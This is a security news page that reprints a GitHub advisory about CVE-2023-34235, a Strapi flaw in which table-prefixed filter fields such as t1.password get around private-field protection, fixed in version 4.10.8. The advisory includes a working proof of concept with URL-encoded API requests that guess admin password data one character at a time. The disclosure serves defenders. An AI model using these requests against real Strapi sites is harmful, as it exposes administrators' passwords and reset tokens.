Security
Headlines
HeadlinesLatestCVEs

Headline

GHSA-9xg4-3qfm-9w8f: Leaking sensitive user information still possible by filtering on private with prefix fields

Summary

Still able to leak private fields if using the t(number) prefix

Details

Knex query allows you to change there default prefix SqliteError: select distinct `t0`.* from `pages` as `t0` left join `admin_users` as `t1` on `t0`.`updated_by_id` = `t1`.`id` where (`t1`.`password` = 1) so if you change the prefix to the same as it was before or to an other table you want to query you query changes from password to t1.password password is protected by filtering protections but t1.password is not protected

PoC

1 Create a contentType 2 add to its options “populateCreatorFields” 3 create 1 entity in your new content type 4 in settings enable the find route in settings for the content type you created for public 5 /api/(Your contenttype)?filters%5BupdatedBy%5D%5Bt1.password%5D%5B%24startsWith%5D=a%24 And now the api returns noting if you were to do /api/(Your contenttype)?filters%5BupdatedBy%5D%5Bt1.password%5D%5B%24startsWith%5D=%24 it would return your entity

Impact

You can do filtering attacks on everything related to the object again including admin passwords and reset-tokens.

ghsa
#sql#nodejs#git
  1. GitHub Advisory Database
  2. GitHub Reviewed
  3. CVE-2023-34235

Leaking sensitive user information still possible by filtering on private with prefix fields

High severity GitHub Reviewed Published Jul 25, 2023 in strapi/strapi • Updated Jul 25, 2023

Package

npm @strapi/database (npm)

Affected versions

<= 4.10.7

Summary

Still able to leak private fields if using the t(number) prefix

Details

Knex query allows you to change there default prefix
SqliteError: select distinct t0.* from pages as t0 left join admin_users as t1 on t0.updated_by_id = t1.id where (t1.password = 1)
so if you change the prefix to the same as it was before or to an other table you want to query you query changes from password to t1.password password is protected by filtering protections but t1.password is not protected

PoC

1 Create a contentType
2 add to its options “populateCreatorFields”
3 create 1 entity in your new content type
4 in settings enable the find route in settings for the content type you created for public
5 /api/(Your contenttype)?filters%5BupdatedBy%5D%5Bt1.password%5D%5B%24startsWith%5D=a%24
And now the api returns noting if you were to do
/api/(Your contenttype)?filters%5BupdatedBy%5D%5Bt1.password%5D%5B%24startsWith%5D=%24 it would return your entity

Impact

You can do filtering attacks on everything related to the object again including admin passwords and reset-tokens.

References

  • GHSA-9xg4-3qfm-9w8f

Published to the GitHub Advisory Database

Jul 25, 2023

Last updated

Jul 25, 2023

Related news

CVE-2023-34235: Leaking sensitive user information still possible by filtering on private with prefix fields

Strapi is an open-source headless content management system. Prior to version 4.10.8, it is possible to leak private fields if one is using the `t(number)` prefix. Knex query allows users to change the default prefix. For example, if someone changes the prefix to be the same as it was before or to another table they want to query, the query changes from `password` to `t1.password`. `password` is protected by filtering protections but `t1.password` is not protected. This can lead to filtering attacks on everything related to the object again, including admin passwords and reset-tokens. Version 4.10.8 fixes this issue.